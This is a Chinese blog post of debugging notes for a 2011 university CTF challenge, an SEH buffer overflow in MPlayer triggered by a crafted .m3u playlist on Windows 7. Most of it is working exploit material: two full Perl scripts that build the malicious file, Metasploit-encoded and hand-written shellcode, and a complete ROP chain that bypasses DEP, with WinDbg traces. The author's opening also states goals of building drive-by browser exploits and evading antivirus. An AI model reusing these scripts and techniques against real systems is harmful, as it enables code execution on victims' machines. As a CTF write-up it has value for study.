您当前的位置:首页 >
2011西安电子科技大学网络攻防大赛 漏洞挖掘题目 windows7 seh dep bypass 调试笔记
时间:2015-09-15  来源:管理员

2011西安电子科技大学网络攻防大赛  漏洞挖掘题目 windows7 seh  exploit dep bypass 调试笔记

上次准备研究的网马利用方向:

1.如何快速开发绕过dep的网马exp

2. 解密分析一些效果很好的shellcode是如何写的比如不用下载执行的shellcode等

3.如何对抗杀软检测,

4. 分析如何利用Java和flash绕过windows7的ASLR和dep等

最近通过调试一个老的网马,亲自写exploit。实现了 xp sp3 ie6、ie7 ,xp sp3+ ie8 dep bypass的 cn tw en kr等版本以及windows7 + jre6 的绕过ASLR和dep的利用。通过这次调试经历基本掌握了流行网马的利用原理,还有些不是很清晰的地方要多参考经典文章多动手调试,下一步掌握。第3条也有所了解,一般是代码的互换加密,flash封装等。

对第2条,这个周末找个好shellcode跟一下。第4条,据说一些版本的flash中申请的内存是有执行权限的?回头研究一下。

既然windows 7 的环境都搭建好了,就把上次完成一半的windows7 seh dep bypass题目做完。把上次xp下的exp稍微一改。

#!/usr/bin/perl

# 2011西安电子科技大学网络攻防大赛  漏洞挖掘题目 seh exploit for windows7 dep bypass poc0

# by c4rp3nt3r@0x50sec.org

#

# windows/exec - 223 bytes

# http://www.metasploit.com

# Encoder: x86/shikata_ga_nai

# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,

# CMD=calc

my $load =

"\xba\xa3\xfd\xdd\x88\xd9\xf7\xd9\x74\x24\xf4\x5f\x31\xc9" .

"\xb1\x32\x31\x57\x12\x83\xef\xfc\x03\xf4\xf3\x3f\x7d\x06" .

"\xe3\x49\x7e\xf6\xf4\x29\xf6\x13\xc5\x7b\x6c\x50\x74\x4c" .

"\xe6\x34\x75\x27\xaa\xac\x0e\x45\x63\xc3\xa7\xe0\x55\xea" .

"\x38\xc5\x59\xa0\xfb\x47\x26\xba\x2f\xa8\x17\x75\x22\xa9" .

"\x50\x6b\xcd\xfb\x09\xe0\x7c\xec\x3e\xb4\xbc\x0d\x91\xb3" .

"\xfd\x75\x94\x03\x89\xcf\x97\x53\x22\x5b\xdf\x4b\x48\x03" .

"\xc0\x6a\x9d\x57\x3c\x25\xaa\xac\xb6\xb4\x7a\xfd\x37\x87" .

"\x42\x52\x06\x28\x4f\xaa\x4e\x8e\xb0\xd9\xa4\xed\x4d\xda" .

"\x7e\x8c\x89\x6f\x63\x36\x59\xd7\x47\xc7\x8e\x8e\x0c\xcb" .

"\x7b\xc4\x4b\xcf\x7a\x09\xe0\xeb\xf7\xac\x27\x7a\x43\x8b" .

"\xe3\x27\x17\xb2\xb2\x8d\xf6\xcb\xa5\x69\xa6\x69\xad\x9b" .

"\xb3\x08\xec\xf1\x42\x98\x8a\xbc\x45\xa2\x94\xee\x2d\x93" .

"\x1f\x61\x29\x2c\xca\xc6\xc5\x66\x57\x6e\x4e\x2f\x0d\x33" .

"\x13\xd0\xfb\x77\x2a\x53\x0e\x07\xc9\x4b\x7b\x02\x95\xcb" .

"\x97\x7e\x86\xb9\x97\x2d\xa7\xeb\xfb\xb0\x3b\x77\xfc";

$length = 5149 - length($load);

my $junk = "\x90" x $length;

my $nseh = "\xeb\x06\x90\x90";

my $seh = pack('V',0x6ad410b4);    #pop pop ret from avcodec-52.dll

my $pay = "\xe9\x0c\xff\xff\xff" ; # jmp back to shellcode

open($FH,">exp.m3u");

print $FH $junk.$load.$nseh.$seh.$pay."\r\n";

close($FH);

通过定位溢出点发现windows7 下异常处理结构的覆盖地址居然跟exp下不一样。如上是第5149后面的字节覆盖栈中的异常处理结构。

 

windbg附加上mplayer 。将上面生成的exp.m3u 拖入mplayer的界面。windbg在异常处理结构起作用前捕获到了异常。

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=90909090 ebx=0022ea84 ecx=0022e68c edx=0022e944 esi=90909091 edi=0022e944

eip=777158d4 esp=0022e678 ebp=0022e67c iopl=0         nv up ei ng nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286

ntdll!RtlInitAnsiStringEx+0x1f:

777158d4 8a10            mov     dl,byte ptr [eax]          ds:0023:90909090=??

查看异常处理结构成功被覆盖,我们对pop pop ret的地址下断点跟一下看看跟xp的有什么区别。

0:000> !exchain

0022ffc4: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Users\Administrator\Desktop\mplayer\avcodec-52.dll -

avcodec_52+10b4 (6ad410b4)

Invalid exception stack at 909006eb

0:000> bp 6ad410b4

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll -

 

让被我们覆盖的异常处理结构处理异常,发现成功进入我们的pop pop ret的地址。

0:000> g

Breakpoint 0 hit

eax=00000000 ebx=00000000 ecx=6ad410b4 edx=7770720d esi=00000000 edi=00000000

eip=6ad410b4 esp=0022e290 ebp=0022e2b0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

avcodec_52+0x10b4:

6ad410b4 5b              pop     ebx

0:000> t

eax=00000000 ebx=777071f9 ecx=6ad410b4 edx=7770720d esi=00000000 edi=00000000

eip=6ad410b5 esp=0022e294 ebp=0022e2b0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

avcodec_52+0x10b5:

6ad410b5 5d              pop     ebp

0:000> t

eax=00000000 ebx=777071f9 ecx=6ad410b4 edx=7770720d esi=00000000 edi=00000000

eip=6ad410b6 esp=0022e298 ebp=0022e378 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

avcodec_52+0x10b6:

6ad410b6 c3              ret

 

下面可以发现此时esp保存的地址就是我们的 eb 06 90 90

0:000> d esp

0022e298  c4 ff 22 00 94 e3 22 00-4c e3 22 00 c4 ff 22 00  ..”…”.L.”…”.

0022e2a8  0d 72 70 77 c4 ff 22 00-60 e3 22 00 cb 71 70 77  .rpw..”.`.”..qpw

0022e2b8  78 e3 22 00 c4 ff 22 00-94 e3 22 00 4c e3 22 00  x.”…”…”.L.”.

0022e2c8  b4 10 d4 6a 00 00 00 00-78 e3 22 00 c4 ff 22 00  …j….x.”…”.

0022e2d8  87 f9 6d 77 78 e3 22 00-c4 ff 22 00 94 e3 22 00  ..mwx.”…”…”.

0022e2e8  4c e3 22 00 b4 10 d4 6a-44 e9 22 00 78 e3 22 00  L.”….jD.”.x.”.

0022e2f8  91 90 90 90 00 00 00 00-00 00 00 00 00 00 00 00  …………….

0022e308  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  …………….

0:000> u 0022ffc4

0022ffc4 eb06            jmp     0022ffcc

0022ffc6 90              nop

0022ffc7 90              nop

0022ffc8 b410            mov     ah,10h

0022ffca d46a            aamb    6Ah

0022ffcc e90cffffff      jmp     0022fedd

0022ffd1 0000            add     byte ptr [eax],al

0022ffd3 00ec            add     ah,ch

0:000> t

eax=00000000 ebx=777071f9 ecx=6ad410b4 edx=7770720d esi=00000000 edi=00000000

eip=0022ffc4 esp=0022e29c ebp=0022e378 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

0022ffc4 eb06            jmp     0022ffcc

 

继续运行的话已经出现访问错误了。因为dep开启的原因我们无法继续运行栈里的shellcode。

0:000> t

(e84.19c): Access violation – code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=777071f9 ecx=6ad410b4 edx=7770720d esi=00000000 edi=00000000

eip=0022ffc4 esp=0022e29c ebp=0022e378 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246

0022ffc4 eb06            jmp     0022ffcc

 

下面我们使用rop的方式绕过dep。

 

seh处理异常时候先会把一些寄存器清零,所以我们没有发现有寄存器指向我们能控制的字符串。

我们先调整堆栈,使我们要布局的rop链能够顺利运行。

0:000> d esp+200

0022e49c  00 00 00 00 00 00 00 00-00 00 00 00 ff ff 00 00  …………….

0022e4ac  00 00 00 00 88 88 88 88-88 88 88 88 ff ff 00 00  …………….

0022e4bc  00 00 00 00 00 00 00 00-00 00 00 00 ff ff 00 00  …………….

0022e4cc  00 00 00 00 ff 00 ff 00-ff 00 ff 00 ff ff 00 00  …………….

0022e4dc  00 00 00 00 00 d0 cc cc-cc cc cc cc fb 3f 00 00  ………….?..

0022e4ec  00 00 00 00 00 00 00 00-00 00 00 a0 f7 3f 00 00  ………….?..

0022e4fc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  …………….

0022e50c  00 00 00 00 97 53 22 5b-df 4b 48 03 c0 6a 9d 57  …..S”[.KH..j.W

0:000> d esp+500

0022e79c  00 00 c1 00 15 e1 6d 77-2a 1d 01 01 8c e7 22 00  ......mw*.....".

0022e7ac  c4 68 78 77 a4 e8 22 00-15 e1 6d 77 2a 1d 34 00  .hxw.."...mw*.4.

0022e7bc  fe ff ff ff c4 68 78 77-3e a1 74 77 00 00 c1 00  .....hxw>.tw....

0022e7cc  63 00 00 50 70 65 71 77-46 e8 67 77 01 00 00 00  c..PpeqwF.gw....

0022e7dc  00 00 00 00 1c e8 22 00-ba ea 95 75 59 04 00 00  ......"....uY...

0022e7ec  2a 00 00 00 00 01 00 00-df 82 95 75 00 00 00 00  *..........u....

0022e7fc  1c 00 fa 7f 00 00 00 00-05 e9 22 00 00 00 00 00  ..........".....

0022e80c  f5 f8 00 00 b4 e8 22 00-f2 70 71 77 a0 95 9f d3  ......"..pqw....

0:000> d esp+1000

0022f29c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

0022f2ac  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

0022f2bc  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

0022f2cc  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

0022f2dc  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

0022f2ec  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

0022f2fc  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

0022f30c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

 

发现esp+1000的地方出现了我们的shellcode

我们要找的一个地址 类似下面的代码  #add esp,1000 # retn。

 

找rop链接当然Corelan Team出品的神器 mona + ImmunityDebugger。

 

模块信息如下:

----------------------------------------------------------------------------------------------------------------------------------

Module info :

----------------------------------------------------------------------------------------------------------------------------------

Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path

----------------------------------------------------------------------------------------------------------------------------------

0x6a0d0000 | 0x6a105000 | 0x00035000 | True   | True    | True  |  True    | False  | 4.0.4 [unrar.dll] (C:\Users\Administrator\Desktop\mplayer_release\mplayer\unrar.dll)

0x73d10000 | 0x73d16000 | 0×00006000 | True   | True    | True  |  True    | True   | 6.1.7600.16385 [DCIMAN32.dll] (C:\Windows\system32\DCIMAN32.dll)

0x6ad40000 | 0x6b72e000 | 0x009ee000 | False  | False   | False |  False   | False  | -1.0- [avcodec-52.dll] (C:\Users\Administrator\Desktop\mplayer_release\mplayer\avcodec-52.dll)

 

我们使用avcodec-52.dll中的地址就能绕过 windows7 ASLR + DEP + SafeSEH的保护。

调试器附进程后运行 !mona rop -m avcodec-52.dll -n

 

在生成的文件stackpivot.txt找到

 

0x6afc7973 : {pivot 2204 / 0x89c} :  # ADD ESP,88C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [avcodec-52.dll] **   |   {PAGE_EXECUTE_WRITECOPY}

 

测试时候发现.m3u文件会对一些特殊字符处理比如 0×23是 # 被用作注释 2e是点号也会被处理

 

0:000> !exchain

0022ffc4: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Users\Administrator\Desktop\mplayer\avcodec-52.dll -

avcodec_52!ff_vorbis_floor1_render_list+2d33 (6afc7973)

Invalid exception stack at 43434343

0:000> bp 6afc7973

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\KERNELBASE.dll -

0:000> g

Breakpoint 0 hit

eax=00000000 ebx=00000000 ecx=6afc7973 edx=7770720d esi=00000000 edi=00000000

eip=6afc7973 esp=0022e290 ebp=0022e2b0 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246

avcodec_52!ff_vorbis_floor1_render_list+0x2d33:

6afc7973 81c48c080000    add     esp,88Ch

0:000> u eip

avcodec_52!ff_vorbis_floor1_render_list+0x2d33:

6afc7973 81c48c080000    add     esp,88Ch

6afc7979 5b              pop     ebx

6afc797a 5e              pop     esi

6afc797b 5f              pop     edi

6afc797c 5d              pop     ebp

6afc797d c3              ret

6afc797e b801000000      mov     eax,1

6afc7983 ebee            jmp     avcodec_52!ff_vorbis_floor1_render_list+0x2d33 (6afc7973)

0:000> t

eax=00000000 ebx=00000000 ecx=6afc7973 edx=7770720d esi=00000000 edi=00000000

eip=6afc7979 esp=0022eb1c ebp=0022e2b0 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

avcodec_52!ff_vorbis_floor1_render_list+0x2d39:

6afc7979 5b              pop     ebx

0:000>

eax=00000000 ebx=31666130 ecx=6afc7973 edx=7770720d esi=00000000 edi=00000000

eip=6afc797a esp=0022eb20 ebp=0022e2b0 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

avcodec_52!ff_vorbis_floor1_render_list+0x2d3a:

6afc797a 5e              pop     esi

0:000>

eax=00000000 ebx=31666130 ecx=6afc7973 edx=7770720d esi=61326661 edi=00000000

eip=6afc797b esp=0022eb24 ebp=0022e2b0 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

avcodec_52!ff_vorbis_floor1_render_list+0x2d3b:

6afc797b 5f              pop     edi

0:000>

eax=00000000 ebx=31666130 ecx=6afc7973 edx=7770720d esi=61326661 edi=66613366

eip=6afc797c esp=0022eb28 ebp=0022e2b0 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

avcodec_52!ff_vorbis_floor1_render_list+0x2d3c:

6afc797c 5d              pop     ebp

0:000>

eax=00000000 ebx=31666130 ecx=6afc7973 edx=7770720d esi=61326661 edi=66613366

eip=6afc797d esp=0022eb2c ebp=35666134 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

avcodec_52!ff_vorbis_floor1_render_list+0x2d3d:

6afc797d c3              ret

0:000> d esp

0022eb2c  61 66 36 61 66 37 61 66-38 61 66 39 61 67 30 61  af6af7af8af9ag0a

0022eb3c  67 31 61 67 32 61 67 33-61 67 34 61 67 35 61 67  g1ag2ag3ag4ag5ag

0022eb4c  36 61 67 37 61 67 38 61-67 39 61 68 30 61 68 31  6ag7ag8ag9ah0ah1

0022eb5c  61 68 32 61 68 33 61 68-34 61 68 35 61 68 36 61  ah2ah3ah4ah5ah6a

0022eb6c  68 37 61 68 38 61 68 39-61 69 30 61 69 31 61 69  h7ah8ah9ai0ai1ai

0022eb7c  32 61 69 33 61 69 34 61-69 35 61 69 36 61 69 37  2ai3ai4ai5ai6ai7

0022eb8c  61 69 38 61 69 39 61 6a-30 61 6a 31 61 6a 32 61  ai8ai9aj0aj1aj2a

0022eb9c  6a 33 61 6a 34 61 6a 35-61 6a 36 00 6a 37 41 6a  j3aj4aj5aj6.j7Aj

0:000> t

eax=00000000 ebx=31666130 ecx=6afc7973 edx=7770720d esi=61326661 edi=66613366

eip=61366661 esp=0022eb30 ebp=35666134 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

61366661 ??              ???

 

找一下所在的位置:

root@scan:~# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb af6a

[*] No exact matches, looking for likely candidates…

发现我们生成的字符串里根本就没有af6a 。原因是程序把我们的字符给转换成小写字母了。并且长度似乎也不够,下面不远的地址出现了00字符。再往下看出现了原始的大写字母。

0:000> d esp

0022eb30  66 37 61 66 38 61 66 39-61 67 30 61 67 31 61 67  f7af8af9ag0ag1ag

0022eb40  32 61 67 33 61 67 34 61-67 35 61 67 36 61 67 37  2ag3ag4ag5ag6ag7

0022eb50  61 67 38 61 67 39 61 68-30 61 68 31 61 68 32 61  ag8ag9ah0ah1ah2a

0022eb60  68 33 61 68 34 61 68 35-61 68 36 61 68 37 61 68  h3ah4ah5ah6ah7ah

0022eb70  38 61 68 39 61 69 30 61-69 31 61 69 32 61 69 33  8ah9ai0ai1ai2ai3

0022eb80  61 69 34 61 69 35 61 69-36 61 69 37 61 69 38 61  ai4ai5ai6ai7ai8a

0022eb90  69 39 61 6a 30 61 6a 31-61 6a 32 61 6a 33 61 6a  i9aj0aj1aj2aj3aj

0022eba0  34 61 6a 35 61 6a 36 00-6a 37 41 6a 38 41 6a 39  4aj5aj6.j7Aj8Aj9

0:000> d

0022ebb0  41 6b 30 41 6b 31 41 6b-32 41 6b 33 41 6b 34 41  Ak0Ak1Ak2Ak3Ak4A

0022ebc0  6b 35 41 6b 36 41 6b 37-41 6b 38 41 6b 39 41 6c  k5Ak6Ak7Ak8Ak9Al

0022ebd0  30 41 6c 31 41 6c 32 41-6c 33 41 6c 34 41 6c 35  0Al1Al2Al3Al4Al5

0022ebe0  41 6c 36 41 6c 37 41 6c-38 41 6c 39 41 6d 30 41  Al6Al7Al8Al9Am0A

0022ebf0  6d 31 41 6d 32 41 6d 33-41 6d 34 41 6d 35 41 6d  m1Am2Am3Am4Am5Am

0022ec00  36 41 6d 37 41 6d 38 41-6d 39 41 6e 30 41 6e 31  6Am7Am8Am9An0An1

0022ec10  41 6e 32 41 6e 33 41 6e-34 41 6e 35 41 6e 36 41  An2An3An4An5An6A

0022ec20  6e 37 41 6e 38 41 6e 39-41 6f 30 41 6f 31 41 6f  n7An8An9Ao0Ao1Ao

0:000>

0022ec30  32 41 6f 33 41 6f 34 41-6f 35 41 6f 36 41 6f 37  2Ao3Ao4Ao5Ao6Ao7

0022ec40  41 6f 38 41 6f 39 41 70-30 41 70 31 41 70 32 41  Ao8Ao9Ap0Ap1Ap2A

0022ec50  70 33 41 70 34 41 70 35-41 70 36 41 70 37 41 70  p3Ap4Ap5Ap6Ap7Ap

0022ec60  38 41 70 39 41 71 30 41-71 31 41 71 32 41 71 33  8Ap9Aq0Aq1Aq2Aq3

0022ec70  41 71 34 41 71 35 41 71-36 41 71 37 41 71 38 41  Aq4Aq5Aq6Aq7Aq8A

0022ec80  71 39 41 72 30 41 72 31-41 72 32 41 72 00 41 72  q9Ar0Ar1Ar2Ar.Ar

0022ec90  34 41 72 35 41 72 36 41-72 37 41 72 38 41 72 39  4Ar5Ar6Ar7Ar8Ar9

0022eca0  41 73 30 41 73 31 41 73-32 41 73 33 41 73 34 41  As0As1As2As3As4A

 

上面可以看到长度也足够容纳 rop链和shellcode。我们只要再把esp往上移一些就可以了,也不用太精确。

 

再找一个大点的

 

my $seh = pack(‘V’,0x6af51dc2 );

 

按照上面的方法定位下调整后后的esp在字符串中的偏移量

root@scan:~# /opt/metasploit/apps/pro/msf3/tools/pattern_offset.rb 0Gb1

[*] Exact match at offset 4712

 

到现在为止我们的exp结构应该是这样的

 

[junk 4712字节] [rop链][jmp esp address][shellcode][junk加上前面总共 5149字节] [nseh 垃圾填充] [ 0x6af51dc2调整堆栈]

 

好了现在开始打造我们的rop链接。

找到刚刚

!mona rop -m avcodec-52.dll -n

生成的的rop_chains.txt

 

Register setup for VirtualProtect() :

——————————————–

EAX = NOP (0×90909090)

ECX = lpOldProtect (ptr to W address)

EDX = NewProtect (0×40)

EBX = dwSize

ESP = lPAddress (automatic)

EBP = ReturnTo (ptr to jmp esp)

ESI = ptr to VirtualProtect()

EDI = ROP NOP (RETN)

— alternative chain —

EAX = tr to &VirtualProtect()

ECX = lpOldProtect (ptr to W address)

EDX = NewProtect (0×40)

EBX = dwSize

ESP = lPAddress (automatic)

EBP = POP (skip 4 bytes)

ESI = ptr to JMP [EAX]

EDI = ROP NOP (RETN)

+ place ptr to “jmp esp” on stack, below PUSHAD

 

……

ROP Chain for VirtualProtect() [(XP/2003 Server and up)] :

*** [ Python ] ***

 

def create_rop_chain():

# rop chain generated with mona.py – www.corelan.be

rop_gadgets = “”

rop_gadgets += struct.pack(‘<L’,0×00000000)  # [-] Unable to find API pointer -> eax

rop_gadgets += struct.pack(‘<L’,0x6ae8f378)  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6afda261)  # XCHG EAX,ESI # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6ae27a6d)  # POP EBP # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6afae347)  # & jmp esp [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6b028274)  # POP EAX # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0xfffffdff)  # Value to negate, will become 0×00000201

rop_gadgets += struct.pack(‘<L’,0x6b0ce791)  # NEG EAX # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6b01e85e)  # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0×41414141)  # Filler (compensate)

rop_gadgets += struct.pack(‘<L’,0×41414141)  # Filler (compensate)

rop_gadgets += struct.pack(‘<L’,0x6b028274)  # POP EAX # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0xffffffc0)  # Value to negate, will become 0×00000040

rop_gadgets += struct.pack(‘<L’,0x6b0ce791)  # NEG EAX # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6ae63239)  # XCHG EAX,EDX # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6aed7baf)  # POP ECX # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6b71ba09)  # &Writable location [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6b0308b8)  # POP EDI # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6b059081)  # RETN (ROP NOP) [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0x6b02836d)  # POP EAX # RETN [avcodec-52.dll]

rop_gadgets += struct.pack(‘<L’,0×90909090)  # nop

rop_gadgets += struct.pack(‘<L’,0x6ad7a043)  # PUSHAD # RETN [avcodec-52.dll]

 

上面的rop链接是个半成品,需要我们手动调整一下。使用第一种方式来做rop.

 

my     $rop_gadgets = pack(‘V’,0x6aee6245); # POP EBP # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x6aee6245); #  Filler (compensate)

$rop_gadgets .= pack(‘V’,0x6adc122d); # POP EAX # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0xfffffdff); # Value to negate, will become 0×00000201

$rop_gadgets .= pack(‘V’,0x6b0ce791); # NEG EAX # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x6adb16a5); # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x77b52c15); # ptr to &VirtualProtect() kernel32 //硬编码

$rop_gadgets .= pack(‘V’,0×41414141); # Filler (compensate)

$rop_gadgets .= pack(‘V’,0x6b02836d); # POP EAX # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0xffffffc0); # Value to negate, will become 0×00000040

$rop_gadgets .= pack(‘V’,0x6b0ce791); # NEG EAX # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x6ae63239); # XCHG EAX,EDX # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x6af63467); # POP ECX # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x6b19add4); # &Writable location [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x6b026a8c); # POP EDI # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x6b05908b); # RETN (ROP NOP) [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x6b028274); # POP EAX # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0×90909090); # nop

$rop_gadgets .= pack(‘V’,0x6b0665a2); # PUSHAD # RETN [avcodec-52.dll]

$rop_gadgets .= pack(‘V’,0x6afae368); # & jmp esp [avcodec-52.dll]

 

其实还是比较简单的就是 edi 放一个ret指令。esi放VirtualProtect的地址。程序返回时候VirtualProtect,调整堆栈esp指向 eax内的垃圾数据,返回地址是放到ebp里的,执行POP EBP # RETN 弹出eax的垃圾数据执行jmp esp,进入到我们的shellcode.

 

到这里,上面进行的还算顺利。我们的任务貌似就完成了,除了一个VirtualProtect()受到ASLR的影响外(题目没有要求要绕过ASLR),不过最恶心的是shellcode,我们的shellcode总是有几个字符被转换。查找坏字符用!mona的compare功能。最后还是比较恶心,对一道竞赛题目,我主要是练习seh bypass dep.我觉得我达到一定目的了就自己手动写了个硬编码执行calc的shellcode.

my $payload = “\x33\xc0″.  # xor eax,eax

“\x50″.                   # push eax

“\x68\x63\x61\x6c\x63″.      # push calc

“\x8b\xdc”.            #mov ebx,esp

“\x40″.                #inc eax

“\x50″.                # push eax

“\x53″.                #push ebx

“\xb8\xae\xed\xb9\x77″.  # mov eax,WinExeC

“\xff\xd0″;            # call eax

 

poc如下 ,如果你也是初学者,想成功运行这个poc。VirtualProtect()函数的地址和,WinExeC的地址都需要调整。

 

#!/usr/bin/perl

# 2011西安电子科技大学网络攻防大赛  漏洞挖掘题目 seh for windows7 dep bypass poc

# by c4rp3nt3r@0x50sec.org

#

#shellcode WinExec calc.exe

my $payload = "\x33\xc0".  # xor eax,eax

"\x50".                   # push eax

"\x68\x63\x61\x6c\x63".      # push calc

"\x8b\xdc".            #mov ebx,esp

"\x40".                #inc eax

"\x50".                # push eax

"\x53".                #push ebx

"\xb8\xae\xed\xb9\x77".  # mov eax,WinExeC

"\xff\xd0";            # call eax

#junk /opt/metasploit/apps/pro/msf3/tools/pattern_create.rb 5149

my     $rop_gadgets = pack('V',0x6aee6245); # POP EBP # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x6aee6245); # POP EBP # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x6adc122d); # POP EAX # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0xfffffdff); # Value to negate, will become 0x00000201

    $rop_gadgets .= pack('V',0x6b0ce791); # NEG EAX # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x6adb16a5); # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x77b52c15); # ptr to &VirtualProtect() kernel32 //硬编码

    $rop_gadgets .= pack('V',0x41414141); # Filler (compensate)

    $rop_gadgets .= pack('V',0x6b02836d); # POP EAX # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0xffffffc0); # Value to negate, will become 0x00000040

    $rop_gadgets .= pack('V',0x6b0ce791); # NEG EAX # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x6ae63239); # XCHG EAX,EDX # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x6af63467); # POP ECX # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x6b19add4); # &Writable location [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x6b026a8c); # POP EDI # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x6b05908b); # RETN (ROP NOP) [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x6b028274); # POP EAX # RETN [avcodec-52.dll]

    $rop_gadgets .= pack('V',0x90909090); # nop

    $rop_gadgets .= pack('V',0x6b0665a2); # PUSHAD # RETN [avcodec-52.dll]

      $rop_gadgets .= pack('V',0x6afae368); # & jmp esp [avcodec-52.dll]  

$junk = "\x90" x 5149;

$length = 5149 -  4712 -length($rop_gadgets) -length($payload);

print $length;

my $junk1 = substr($junk,0,4712);

my $junk2 = substr($junk,0, 5149 -  4712 -length($rop_gadgets) -length($payload));

my $nseh = "CCCC";

my $seh = pack('V',0x6af51dc2 );    ## ADD ESP,xxxx调整堆栈for stackpivot

open($FH,">exp2.m3u");

print $FH $junk1.$rop_gadgets.$payload.$junk2.$nseh.$seh."\r\n";

#print $FH $junk.$nseh.$seh."\r\n";

close($FH);

 

rop链执行后顺利进入了jmp esp的指令,此时esp正好指向我们的shellcode。

终于出现了可爱的calc.exe
总结通过调试windows7 下的dep绕过感觉单单的dep容易被打败,ASRL+DEP还是比较难的。windows7 的网马对于装了java6就相当与ASRL失效,msf的很多网马都是利用java6相关模块没启用aslr来打windows7的,这样的话xp+ie8跟windows7+ie8几乎没什么差别,只是堆喷射的时候稍微注意就好了。虽然不完美还是有收获,之前认为很可怕的东西原来没那么可怕。自己一个人摸索进步还是很慢,要更加继续努力才行!

本文来自:深蓝阅读


下一篇: 关于信息安全短板的思考
0

联系地址:北京市朝阳区建国门外大街甲6号
咨询电话:010-65068703 京ICP备15014560号-3